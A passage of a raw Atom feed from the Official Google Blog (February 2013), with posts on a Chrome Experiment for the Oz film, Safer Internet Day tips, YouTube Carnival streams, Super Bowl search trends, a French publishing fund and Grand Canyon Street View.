href="http://www.bloglines.com/sub/http://feeds.feedburner.com/blogspot/MKuf" src="http://www.bloglines.com/images/sub_modern11.gif">Subscribe with Bloglines</feedburner:feedFlare><feedburner:feedFlare href="http://www.netvibes.com/subscribe.php?url=http%3A%2F%2Ffeeds.feedburner.com%2Fblogspot%2FMKuf" src="http://www.netvibes.com/img/add2netvibes.gif">Subscribe with Netvibes</feedburner:feedFlare><feedburner:feedFlare href="http://fusion.google.com/add?feedurl=http%3A%2F%2Ffeeds.feedburner.com%2Fblogspot%2FMKuf" src="http://buttons.googlesyndication.com/fusion/add.gif">Subscribe with Google</feedburner:feedFlare><feedburner:feedFlare href="http://www.pageflakes.com/subscribe.aspx?url=http%3A%2F%2Ffeeds.feedburner.com%2Fblogspot%2FMKuf" src="http://www.pageflakes.com/ImageFile.ashx?instanceId=Static_4&amp;fileName=ATP_blu_91x17.gif">Subscribe with Pageflakes</feedburner:feedFlare><entry gd:etag="W/&quot;CUAAQHYzeCp7ImA9WhBTEEU.&quot;"><id>tag:blogger.com,1999:blog-10861780.post-4204073939915223997</id><published>2013-02-05T09:02:00.000-08:00</published><updated>2013-02-05T09:02:21.880-08:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2013-02-05T09:02:21.880-08:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="chrome + chrome os" /><title>A Chrome Experiment made with some friends from Oz</title><content type="html">You won’t need magical powers to take a journey down the yellow brick road; just point your favorite browser to the latest Chrome Experiment,&amp;nbsp;“&lt;a href="http://www.findyourwaytooz.com/"&gt;Find Your Way to Oz&lt;/a&gt;.â€&amp;nbsp;Developed in collaboration with Disney and &lt;a href="http://www.unit9.com/"&gt;UNIT9&lt;/a&gt; in anticipation of the upcoming film, &lt;a href="http://disney.go.com/thewizard/"&gt;Oz The Great and Powerful&lt;/a&gt;, this experiment takes you through a dusty Kansas circus and leads to a vibrant land, following in the footsteps of the Wizard himself. &lt;br /&gt;
+&lt;br /&gt;
+&lt;iframe allowfullscreen="" frameborder="0" height="315" src="http://www.youtube.com/embed/_2iDDI6Stx0" width="560"&gt;&lt;/iframe&gt;&lt;br /&gt;
+&lt;br /&gt;
+Like any good circus, there’s plenty to keep you entertained: compose your own music, play with a fun photo booth and create your own movie with a zoetrope. The path to Oz also involves confronting an ominous tornado; surviving it completes the journey, enabling fans of the movie to watch an exclusive unreleased clip from the film. &lt;br /&gt;
+&lt;br /&gt;
+&lt;a href="http://www.chromeexperiments.com/"&gt;Chrome Experiments&lt;/a&gt; like “Find Your Way to Oz†would have been impossible a few years ago. Since that time, the web has evolved and allowed developers and designers to create immersive beautiful experiences. For “Find Your Way to Oz†the 3D environment was built entirely with new technologies such as &lt;a href="http://www.html5rocks.com/en/tutorials/webgl/webgl_fundamentals/"&gt;WebGL&lt;/a&gt; and &lt;a href="http://www.w3schools.com/css3/default.asp"&gt;CSS3&lt;/a&gt;. It’s enhanced by rich audio effects thanks to the &lt;a href="http://www.html5rocks.com/en/tutorials/webaudio/intro/"&gt;Web Audio API&lt;/a&gt;.&amp;nbsp;The photo booth and zoetrope were built using the &lt;a href="http://www.html5rocks.com/en/tutorials/getusermedia/intro/"&gt;getUserMedia&lt;/a&gt; feature of &lt;a href="http://www.webrtc.org/"&gt;WebRTC&lt;/a&gt;, which grants webpages access to your computer’s camera and microphone (with your permission). &lt;br /&gt;
+&lt;br /&gt;
+For the best experience, you’ll need to use an up-to-date computer built to handle intense graphics. It also works best with a webcam and a modern browser that supports WebGL and WebRTC, like &lt;a href="http://www.google.com/intl/en/chrome/browser/promo/oz/?gl=US&amp;amp;hl=en-US&amp;amp;utm_source=en_US-ogb-na-US&amp;amp;utm_medium=ogb&amp;amp;utm_campaign=en_US"&gt;Chrome&lt;/a&gt;. For tablet or smartphone users, we have a smaller scale yet equally enjoyable experience that you can try with the latest Chrome browser on your Android device, iPhone or iPad.&lt;br /&gt;
+&lt;br /&gt;
+If you want to learn more, or run away and join the developer circus, you can get an explanation of the technologies used on the &lt;a href="http://blog.chromium.org/2013/02/introducing-find-your-way-to-oz-new.html"&gt;Chromium blog&lt;/a&gt; or in our &lt;a href="http://www.html5rocks.com/tutorials/casestudies/oz/"&gt;technical case study&lt;/a&gt;.&lt;br /&gt;
+&lt;br /&gt;
+Start your journey towards the yellow brick road at &lt;b&gt;&lt;a href="http://www.findyourwaytooz.com/"&gt;www.findyourwaytooz.com&lt;/a&gt;&lt;/b&gt;. &lt;br /&gt;
+&lt;br /&gt;
+&lt;span class="byline-author"&gt;Posted by Christos Apartoglou, Marketing Manager&lt;/span&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/MKuf/~4/S_hccisqTW8" height="1" width="1"/&gt;</content><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/10861780/posts/default/4204073939915223997?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/10861780/posts/default/4204073939915223997?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/blogspot/MKuf/~3/S_hccisqTW8/a-chrome-experiment-made-with-some.html" title="A Chrome Experiment made with some friends from Oz" /><author><name>Emily Wood</name><uri>https://plus.google.com/112374322230920073195</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://img.youtube.com/vi/_2iDDI6Stx0/default.jpg" height="72" width="72" /><feedburner:origLink>http://googleblog.blogspot.com/2013/02/a-chrome-experiment-made-with-some.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CkMCQH0-fyp7ImA9WhBTEEk.&quot;"><id>tag:blogger.com,1999:blog-10861780.post-6372667339283370124</id><published>2013-02-04T21:01:00.000-08:00</published><updated>2013-02-04T21:01:01.357-08:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2013-02-04T21:01:01.357-08:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="privacy and security" /><title>Safer Internet Day: How we help you stay secure online</title><content type="html">Technology can sometimes be complicated, but you shouldn’t have to be a computer scientist or security expert to stay safe online. Protecting our users is one of our top priorities at Google. Whether it’s creating easy-to-use tools to help you manage your information online or fighting the bad guys behind the scenes, we’re constantly investing to make Google the best service you can rely on, with security and privacy features that are on 24-7 and working for you. &lt;br /&gt;
+&lt;br /&gt;
+Last year, we &lt;a href="http://googleblog.blogspot.com/2012/01/tech-tips-that-are-good-to-know.html"&gt;launched&lt;/a&gt; &lt;a href="http://google.com/goodtoknow"&gt;Good to Know&lt;/a&gt;, our biggest-ever consumer education campaign focused on making the web a safer, more comfortable place. Today, on Safer Internet Day, we’re updating Good to Know to include more tips and advice to help you protect yourself and your family from identity theft, scams and online fraud. You can also learn how to make your computer or mobile device more secure, and get more out of the web—from searching more effectively to making calls from your computer. And you can find out more about how Google works to make you, your device and the whole web safer. &lt;br /&gt;
+&lt;br /&gt;
+&lt;div class="separator" style="clear: both; text-align: center;"&gt;
+&lt;a href="http://4.bp.blogspot.com/-VCUm3IO6rGg/URBhkyY6QHI/AAAAAAAAKw8/l6Ak6uHI2X4/s1600/1m6X7ot5wEflZj9iJ8nFjEOy_kZcZLQ8FPg-O.jpeg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://4.bp.blogspot.com/-VCUm3IO6rGg/URBhkyY6QHI/AAAAAAAAKw8/l6Ak6uHI2X4/s500/1m6X7ot5wEflZj9iJ8nFjEOy_kZcZLQ8FPg-O.jpeg" width="500" /&gt;&lt;/a&gt;&lt;/div&gt;
+&lt;br /&gt;
+For example, we encrypt the Gmail and Google Search traffic between your computer and Google—this protects your Google activity from being snooped on by others. We also make this protection, known as session-wide SSL encryption, the default when you’re signed into Google Drive. Because outdated software makes your computer more vulnerable to security problems, we built the Chrome browser to auto-update to the latest version every time you start it. It gives you up-to-date security protection without making you do any extra work. &lt;br /&gt;
+&lt;br /&gt;
+Even if you don’t use Google, we work hard to make the web safer for you. Every day we identify more than 10,000 unsafe websites—and we inform users and other web companies what we’ve found. We show warnings on up to 14 million Google Search results and 300,000 downloads, telling our users that there might be something suspicious going on behind a particular website or link. We share that data with other online companies so they can warn their users. &lt;br /&gt;
+&lt;br /&gt;
+We know staying safe online is important to you—and it is important to us too. Please take some time today to make your passwords stronger and &lt;a href="http://support.google.com/accounts/bin/answer.py?hl=en&amp;amp;answer=180744"&gt;turn on 2-step verification&lt;/a&gt; to protect your Google Account. Talk with friends and family about Internet safety. And visit our new Good to Know site to find more tips and resources to help you stay safe online. &lt;br /&gt;
+&lt;br /&gt;
+&lt;span class="byline-author"&gt;Posted by Alma Whitten, Director of Privacy, Product and Engineering&lt;/span&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/MKuf/~4/hptKhCOvnHc" height="1" width="1"/&gt;</content><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/10861780/posts/default/6372667339283370124?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/10861780/posts/default/6372667339283370124?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/blogspot/MKuf/~3/hptKhCOvnHc/safer-internet-day-how-we-help-you-stay.html" title="Safer Internet Day: How we help you stay secure online" /><author><name>Emily Wood</name><uri>https://plus.google.com/112374322230920073195</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://4.bp.blogspot.com/-VCUm3IO6rGg/URBhkyY6QHI/AAAAAAAAKw8/l6Ak6uHI2X4/s72-c/1m6X7ot5wEflZj9iJ8nFjEOy_kZcZLQ8FPg-O.jpeg" height="72" width="72" /><feedburner:origLink>http://googleblog.blogspot.com/2013/02/safer-internet-day-how-we-help-you-stay.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CUABQXc6eip7ImA9WhNaGUQ.&quot;"><id>tag:blogger.com,1999:blog-10861780.post-3088770461936891363</id><published>2013-02-04T08:02:00.001-08:00</published><updated>2013-02-04T08:02:30.912-08:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2013-02-04T08:02:30.912-08:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="google+" /><category scheme="http://www.blogger.com/atom/ns#" term="youtube and video" /><category scheme="http://www.blogger.com/atom/ns#" term="Latin America" /><title>Google and Brazil celebrate Carnival 2013</title><content type="html">Ask any person who’s never traveled to Brazil what he knows about the country and it’s likely that one of their first responses is: Carnival (or &lt;i&gt;Carnaval&lt;/i&gt; in Portuguese). It's no wonder: Carnival is one of the largest celebrations on the planet. As a Brazilian, I can also say that it represents much of what’s wonderful about our country—joy, cultural richness and musical diversity.&lt;br /&gt;
+&lt;br /&gt;
+From Feb 7-12, YouTube will bring Carnival to the world for the third year in a row—giving you a front-row seat to the entire celebration on the &lt;a href="http://www.youtube.com/carnaval"&gt;YouTube Carnival channel&lt;/a&gt;.&lt;br /&gt;
+&lt;br /&gt;
+&lt;b&gt;The best Carnival is the one you choose, anytime, anywhere&lt;/b&gt;&lt;br /&gt;
+What better way to experience a party the size of Brazil than by connecting to the rhythms and local traditions of six different cities—from Rio de Janeiro’s &lt;i&gt;samba&lt;/i&gt; and Salvador’s &lt;a href="http://en.wikipedia.org/wiki/Ax%C3%A9_music"&gt;&lt;i&gt;axé&lt;/i&gt;&lt;/a&gt; to southern Brazil’s &lt;a href="http://en.wikipedia.org/wiki/Frevo"&gt;&lt;i&gt;frevo&lt;/i&gt;&lt;/a&gt;. This year, you’ll be able to enjoy the festivities of &lt;a href="http://goo.gl/zKSYI"&gt;Salvador&lt;/a&gt;, &lt;a href="http://goo.gl/maps/nADs7"&gt;Rio de Janeiro&lt;/a&gt;, &lt;a href="http://goo.gl/maps/axMXO"&gt;Olinda&lt;/a&gt;, &lt;a href="http://goo.gl/maps/XiUPl"&gt;São Luís do Maranhão&lt;/a&gt;, &lt;a href="http://goo.gl/maps/stSgU"&gt;Ouro Preto&lt;/a&gt; and &lt;a href="http://goo.gl/maps/GFjxy"&gt;Pirenópolis&lt;/a&gt;. &lt;br /&gt;
+&lt;br /&gt;
+Pick from a series of live feeds, camera angles and performances from the city of your choice, right in the middle of the party. Channel feeds are made possible by a combination of YouTube Live and Google+ Hangouts. In total, you can access a total of 150 hours of live Carnival feeds—from your laptop, tablet or smartphone.&lt;br /&gt;
+&lt;br /&gt;
+&lt;div class="separator" style="clear: both; text-align: center;"&gt;
+&lt;a href="http://1.bp.blogspot.com/-tAs5pDuPZXM/UQ_ZpcyYzoI/AAAAAAAAKv0/IPN-5zrKNoQ/s1600/10qJOo9j0Cooca-p-bSghkxr1oSlx1JnDczVUtw.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://1.bp.blogspot.com/-tAs5pDuPZXM/UQ_ZpcyYzoI/AAAAAAAAKv0/IPN-5zrKNoQ/s500/10qJOo9j0Cooca-p-bSghkxr1oSlx1JnDczVUtw.png" width="500" /&gt;&lt;/a&gt;&lt;/div&gt;
+&lt;br /&gt;
+Here’s a little more detail on some of the celebrations:&lt;br /&gt;
+&lt;br /&gt;
+&lt;ul&gt;
+&lt;li&gt;&lt;i&gt;YouTube from Rio de Janeiro&lt;/i&gt;—From &lt;b&gt;Feb 8-12&lt;/b&gt;, you can dance as much samba as you want, as you watch the attractions of the &lt;a href="http://www.circovoador.com.br/#/ocirco"&gt;Circo Voador&lt;/a&gt; concert hall or check out the calmer celebrations of &lt;a href="http://rioshow.oglobo.globo.com/musica/shows/terreirao-do-samba-1747.aspx"&gt;Terreirão do Samba&lt;/a&gt;, a venue that receives various samba musicians and afternoon concert sessions throughout the year.&lt;/li&gt;
+&lt;li&gt;&lt;i&gt;YouTube from Salvador de Bahia&lt;/i&gt;—For the third year in a row, you’ll be able to check out the best of Salvador’s famed Carnival route, &lt;b&gt;Barra-Ondina&lt;/b&gt;. However this time, you’ll be able to choose from four different camera feeds located throughout the Carnival route, so you don’t miss your favorite carnival band. Follow Salvador’s most famous carnival artists such as &lt;a href="http://www.youtube.com/claudialeitteoficial"&gt;Claudia Leitte&lt;/a&gt;, &lt;a href="http://www.youtube.com/artist/chiclete-com-banana"&gt;Chiclete com Banana&lt;/a&gt;, &lt;a href="http://www.youtube.com/user/bandaasadeaguia"&gt;Asa de Ãguia&lt;/a&gt;, &lt;a href="http://www.youtube.com/artist/ivete-sangalo"&gt;Ivete Sangalo&lt;/a&gt; and others as their mobile stages advance through the circuit.&lt;/li&gt;
+&lt;/ul&gt;
+&lt;br /&gt;
+&lt;b&gt;Google+ joins the party&lt;/b&gt;&lt;br /&gt;
+Everyone knows that a good party generates great photos. That’s why we’ve also joined with photographers who will be uploading pictures daily of Carnaval’s best moments from 20 different Brazilian cities at &lt;a href="http://www.google.com.br/+/carnaval"&gt;Google+ Carnaval&lt;/a&gt;. &lt;br /&gt;
+&lt;br /&gt;
+&lt;div class="separator" style="clear: both; text-align: center;"&gt;
+&lt;a href="http://3.bp.blogspot.com/-X6EtrBs6Q88/UQ_av7SIxrI/AAAAAAAAKv8/_UzeZgYKbB8/s1600/1tkjQB5Vs-oJNISezN9t7zDxudam2yG8GfZg3FQ.jpeg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://3.bp.blogspot.com/-X6EtrBs6Q88/UQ_av7SIxrI/AAAAAAAAKv8/_UzeZgYKbB8/s500/1tkjQB5Vs-oJNISezN9t7zDxudam2yG8GfZg3FQ.jpeg" width="500" /&gt;&lt;/a&gt;&lt;/div&gt;
+&lt;br /&gt;
+Find the entire agenda of this year’s Carnival events at &lt;a href="http://www.youtube.com/carnaval"&gt;www.youtube.com/carnaval&lt;/a&gt;. To keep track of your favorite events and the artists you want to see, download the &lt;a href="https://chrome.google.com/webstore/detail/carnaval-2013/licfmkjjnjncmkkkccidiknfhijdnlkh"&gt;Carnaval 2013 extension&lt;/a&gt; from the Chrome Web Store, and make sure not to miss a beat. &lt;br /&gt;
+&lt;br /&gt;
+&lt;span class="byline-author"&gt;Posted by Lauren Pachaly, Consumer Marketing Manager, Google Brazil&lt;/span&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/MKuf/~4/_SGzsAoraXg" height="1" width="1"/&gt;</content><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/10861780/posts/default/3088770461936891363?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/10861780/posts/default/3088770461936891363?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/blogspot/MKuf/~3/_SGzsAoraXg/google-and-brazil-celebrate-carnival.html" title="Google and Brazil celebrate Carnival 2013" /><author><name>Emily Wood</name><uri>https://plus.google.com/112374322230920073195</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://1.bp.blogspot.com/-tAs5pDuPZXM/UQ_ZpcyYzoI/AAAAAAAAKv0/IPN-5zrKNoQ/s72-c/10qJOo9j0Cooca-p-bSghkxr1oSlx1JnDczVUtw.png" height="72" width="72" /><feedburner:origLink>http://googleblog.blogspot.com/2013/02/google-and-brazil-celebrate-carnival.html</feedburner:origLink></entry><entry gd:etag="W/&quot;D0UHR386cCp7ImA9WhNaGUQ.&quot;"><id>tag:blogger.com,1999:blog-10861780.post-8097687385842611897</id><published>2013-02-04T06:00:00.000-08:00</published><updated>2013-02-04T08:27:16.118-08:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2013-02-04T08:27:16.118-08:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="ads" /><category scheme="http://www.blogger.com/atom/ns#" term="search" /><category scheme="http://www.blogger.com/atom/ns#" term="youtube and video" /><category scheme="http://www.blogger.com/atom/ns#" term="search trends" /><title>M&amp;M’s, Beyonce and Ravens dominate game day searches on Google</title><content type="html">This year’s big game was filled with action—brothers battled on the field and a 34-minute-long power outage nearly turned the tide of the game. With all the excitement on the field, we looked online to see what fans across the U.S. were searching for during the game.&lt;br /&gt;
+&lt;br /&gt;
+Overall, the top trending searches on Google during the game were:&lt;br /&gt;
+&lt;ol&gt;
+&lt;li&gt;M&amp;amp;M’s&lt;/li&gt;
+&lt;li&gt;Beyonce&lt;/li&gt;
+&lt;li&gt;Baltimore Ravens&lt;/li&gt;
+&lt;li&gt;San Francisco 49ers&lt;/li&gt;
+&lt;li&gt;Colin Kaepernick&lt;/li&gt;
+&lt;/ol&gt;
+Other noteworthy trending searches include those about the power outage, which started trending mid-game and ended up ranking eighth out of the most-searched terms during game time. Searches for Beyonce spiked dramatically during her halftime show. And showing that ads drive consumer interest, searches for Chrysler spiked significantly after their fourth quarter commercial. &lt;br /&gt;
+&lt;br /&gt;
+&lt;div class="separator" style="clear: both; text-align: center;"&gt;
+&lt;a href="http://2.bp.blogspot.com/-Youe8dXhSGo/UQ9qPdP6_nI/AAAAAAAAKus/clcbyCbl-ZI/s1600/super+bowl+chart+10-30.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://2.bp.blogspot.com/-Youe8dXhSGo/UQ9qPdP6_nI/AAAAAAAAKus/clcbyCbl-ZI/s500/super+bowl+chart+10-30.png" width="500" /&gt;&lt;/a&gt;&lt;/div&gt;
+&lt;br /&gt;
+&lt;b&gt;The most searched team: The Ravens&lt;/b&gt;&lt;br /&gt;
+As they did in the game, the Ravens narrowly beat out the 49ers as the most searched team during the game on Google. The most searched players of the game were &lt;b&gt;Colin Kaepernick, Joe Flacco, Michael Oher, David Akers&lt;/b&gt; and &lt;b&gt;Jacoby Jones&lt;/b&gt;—thanks to his &lt;a href="http://espn.go.com/nfl/playoffs/2012/story/_/id/8911913/super-bowl-2013-baltimore-ravens-jacoby-jones-sets-record-108-yard-kickoff-return"&gt;108-yard kickoff return&lt;/a&gt;. &lt;br /&gt;
+&lt;br /&gt;
+The Harbaugh brothers’ on-field battle has been one of the big stories of the game, so it’s no surprise that viewers took to the web to find more information on these coaches. While John Harbaugh took home the trophy, &lt;b&gt;Jim was the most searched brother&lt;/b&gt; on Google. &lt;br /&gt;
+&lt;br /&gt;
+&lt;b&gt;Game day commercials&lt;/b&gt;&lt;br /&gt;
+Lastly, it’s not game day without the commercials. Fans were seeking out commercials online throughout the game, driving searches for big game ads on Google 55 times higher this Sunday than the same time last week. The most searched for commercials on YouTube were ads from &lt;b&gt;M&amp;amp;M’s, Mercedes-Benz, Disney’s “Oz Great and Powerful,†Lincoln&lt;/b&gt;, and &lt;b&gt;Audi&lt;/b&gt;. Searches for "Gangnam Style" were also trending on YouTube, along with searches for big game performers Alicia Keys and Beyonce. &lt;br /&gt;
+&lt;br /&gt;
+This year many advertisers turned to YouTube to share game day ads and teaser videos in the weeks leading up to the game. In 2013, big game ads or ad teasers were watched &lt;b&gt;more than 66 million times&lt;/b&gt; on YouTube before game day. &lt;br /&gt;
+&lt;br /&gt;
+&lt;div class="separator" style="clear: both; text-align: center;"&gt;
+&lt;a href="http://4.bp.blogspot.com/--dIqd62UU5o/UQ9qP1W6WXI/AAAAAAAAKu0/0PNuQBIsEjg/s1600/adblitzgallery.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://4.bp.blogspot.com/--dIqd62UU5o/UQ9qP1W6WXI/AAAAAAAAKu0/0PNuQBIsEjg/s500/adblitzgallery.png" width="500" /&gt;&lt;/a&gt;&lt;/div&gt;
+&lt;br /&gt;
+Now that you’ve seen all the ads, vote for your favorite one on either the &lt;a href="http://www.youtube.com/adblitz"&gt;YouTube Ad Blitz channel&lt;/a&gt; or &lt;a href="http://www.adweek.com/the-big-game-2013"&gt;ADWEEK.com&lt;/a&gt; now through February 11. The winners of the Ad Blitz will be announced on the YouTube homepage on February 16.&lt;br /&gt;
+&lt;br /&gt;
+Will you be Monday-morning quarterbacking the game or the ads?&lt;br /&gt;
+&lt;br /&gt;
+&lt;span class="byline-author"&gt;Posted by Jeffrey Oldham, Software Engineer&lt;/span&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/MKuf/~4/Hrqka_apoic" height="1" width="1"/&gt;</content><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/10861780/posts/default/8097687385842611897?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/10861780/posts/default/8097687385842611897?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/blogspot/MKuf/~3/Hrqka_apoic/m-beyonce-and-ravens-dominate-game-day.html" title="M&amp;M’s, Beyonce and Ravens dominate game day searches on Google" /><author><name>Emily Wood</name><uri>https://plus.google.com/112374322230920073195</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://2.bp.blogspot.com/-Youe8dXhSGo/UQ9qPdP6_nI/AAAAAAAAKus/clcbyCbl-ZI/s72-c/super+bowl+chart+10-30.png" height="72" width="72" /><feedburner:origLink>http://googleblog.blogspot.com/2013/02/m-beyonce-and-ravens-dominate-game-day.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CEEMR3o7eip7ImA9WhNaF0k.&quot;"><id>tag:blogger.com,1999:blog-10861780.post-45460220658413529</id><published>2013-02-01T10:09:00.000-08:00</published><updated>2013-02-01T10:18:06.402-08:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2013-02-01T10:18:06.402-08:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="journalism and news" /><category scheme="http://www.blogger.com/atom/ns#" term="Europe" /><title>Google creates €60m Digital Publishing Innovation Fund to support transformative French digital publishing initiatives</title><content type="html">Google has worked with news publishers around the globe for years to help them make the most of the web. Our search engine generates billions of clicks each month, and our advertising solutions (in which we have invested billions of dollars) help them make money from that traffic. And last year, we launched Google Play, which offers new opportunities for publishers to make money—including through paid subscriptions. A healthy news industry is important for Google and our partners, and it is essential to a free society. &lt;br /&gt;
+&lt;br /&gt;
+Today I announced with President Hollande of France two new initiatives to help stimulate innovation and increase revenues for French publishers. First, Google has agreed to create a €60 million Digital Publishing Innovation Fund to help support transformative digital publishing initiatives for French readers. Second, Google will deepen our partnership with French publishers to help increase their online revenues using our advertising technology. &lt;br /&gt;
+&lt;br /&gt;
+This exciting announcement builds on the commitments we made in 2011 to increase our investment in France—including our Cultural Institute in Paris to help preserve amazing cultural treasures such as the Dead Sea Scrolls. These agreements show that through business and technology partnerships we can help stimulate digital innovation for the benefit of consumers, our partners and the wider web.&lt;br /&gt;
+&lt;br /&gt;
+&lt;span class="byline-author"&gt;Posted by Eric Schmidt, Executive Chairman&lt;/span&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/MKuf/~4/k54_AKevGWc" height="1" width="1"/&gt;</content><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/10861780/posts/default/45460220658413529?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/10861780/posts/default/45460220658413529?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/blogspot/MKuf/~3/k54_AKevGWc/google-creates-60m-digital-publishing.html" title="Google creates €60m Digital Publishing Innovation Fund to support transformative French digital publishing initiatives" /><author><name>Emily Wood</name><uri>https://plus.google.com/112374322230920073195</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><feedburner:origLink>http://googleblog.blogspot.com/2013/02/google-creates-60m-digital-publishing.html</feedburner:origLink></entry><entry gd:etag="W/&quot;C0cGR3g4fip7ImA9WhNaFks.&quot;"><id>tag:blogger.com,1999:blog-10861780.post-4520654151726514233</id><published>2013-01-31T03:00:00.000-08:00</published><updated>2013-01-31T11:37:06.636-08:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2013-01-31T11:37:06.636-08:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="maps and earth" /><title>Exploring the Grand Canyon on Google Maps</title><content type="html">Whether you’re planning an upcoming hike, or want to learn more about the Earth’s geological history, Google Maps can help. Today, we’re releasing panoramic imagery of one of the world’s most spectacular national monuments: the Grand Canyon. These beautiful, interactive images cover more than 75 miles of trails and surrounding roads, making our map of this area even more comprehensive, accurate and easy to use than ever before.&lt;br /&gt;
+&lt;br /&gt;
+&lt;div style="text-align: center;"&gt;
+&lt;iframe allowfullscreen="" frameborder="0" height="315" src="http://www.youtube.com/embed/mpcar4L_EXY?rel=0" width="560"&gt;&lt;/iframe&gt;&lt;br /&gt;&lt;/div&gt;
+&lt;div style="text-align: center;"&gt;
+&lt;br /&gt;&lt;/div&gt;
+Take a walk down the narrow trails and exposed paths of the Grand Canyon: hike down the famous &lt;a href="https://www.google.com/maps?ll=36.065096,-112.137107&amp;amp;spn=0.285295,0.528374&amp;amp;cbp=12,41.91,,0,9.06&amp;amp;layer=c&amp;amp;panoid=Fa-wHCWazJG6bn7ZjISQCA&amp;amp;t=m&amp;amp;z=12&amp;amp;cbll=36.065096,-112.137107"&gt;Bright Angel Trail&lt;/a&gt;, gaze out at the &lt;a href="https://www.google.com/maps?ll=36.09956,-112.106834&amp;amp;spn=0.28517,0.528374&amp;amp;cbp=12,268.94,,0,-8.85&amp;amp;layer=c&amp;amp;panoid=HX6jvVUCA2-09O3ndzgDHg&amp;amp;t=m&amp;amp;z=12&amp;amp;cbll=36.09956,-112.106834"&gt;mighty Colorado River&lt;/a&gt;, and explore &lt;a href="https://www.google.com/maps?ll=36.033553,-112.094879&amp;amp;spn=0.570818,1.056747&amp;amp;cbp=12,35.75,,0,-0.91&amp;amp;layer=c&amp;amp;panoid=QA8lTVP30K21DyUQ3QcMvQ&amp;amp;cbll=36.066887,-112.136123&amp;amp;t=m&amp;amp;z=11"&gt;scenic overlooks&lt;/a&gt; in full 360-degrees. You’ll be happy you’re virtually hiking once you get to the steep inclines of the &lt;a href="https://www.google.com/maps?ll=36.048544,-112.046814&amp;amp;spn=0.570709,1.056747&amp;amp;cbp=12,105.04,,0,8.25&amp;amp;layer=c&amp;amp;panoid=RcFvKdK1t79uFxoLRNvy8A&amp;amp;cbll=36.081972,-112.087934&amp;amp;t=m&amp;amp;z=11"&gt;South Kaibab Trail&lt;/a&gt;. And rather than drive a couple hours to see the nearby &lt;a href="https://www.google.com/maps?ll=34.997941,-110.985947&amp;amp;spn=0.578229,1.056747&amp;amp;cbp=12,145.48,,0,3.59&amp;amp;layer=c&amp;amp;panoid=S2IQmPwHGhJ-YCXugFkM-Q&amp;amp;cbll=35.03165,-111.026837&amp;amp;t=m&amp;amp;z=11"&gt;Meteor Crater&lt;/a&gt;, a click of your mouse or tap of your finger will transport you to the rim of this otherworldly site.&lt;br /&gt;
+&lt;br /&gt;
+&lt;div style="text-align: center;"&gt;
+&lt;iframe frameborder="0" height="240" marginheight="0" marginwidth="0" scrolling="no" src="https://www.google.com/maps?cbp=13,270.64,,0,-0.68&amp;amp;layer=c&amp;amp;panoid=HX6jvVUCA2-09O3ndzgDHg&amp;amp;ie=UTF8&amp;amp;t=m&amp;amp;cbll=36.09956,-112.106834&amp;amp;source=embed&amp;amp;ll=36.080459,-112.107067&amp;amp;spn=0.066593,0.145912&amp;amp;z=12&amp;amp;output=svembed" width="425"&gt;&lt;/iframe&gt;&lt;br /&gt;
